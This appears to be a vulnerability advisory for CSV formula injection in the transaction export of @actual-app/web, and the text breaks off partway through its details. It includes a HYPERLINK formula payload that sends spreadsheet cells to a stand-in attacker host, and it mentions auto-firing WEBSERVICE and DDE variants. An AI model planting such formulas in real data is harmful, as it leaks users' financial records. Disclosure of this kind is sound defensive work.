@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields
Date: 2026-06
Affected: npm/@actual-app/web
Attack vector: rce
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2026-50179
CWE: CWE-1236
CVSS: 4.2 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N)

## Summary `exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK("http://attacker/?leak="&B2,"Bank refund")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel. ## Details Sink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`: ```ts return csvStringify(transactionsForExport, { header: true }); ``` and the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — `grep` for `csvStringify` finds exactly one source file across the monorepo. Source of attacker-controlled `Payee`/`Notes`: - `packages/loot-core/src/server/transactions/imp


Mitigations:

Architectural layers (MAESTRO):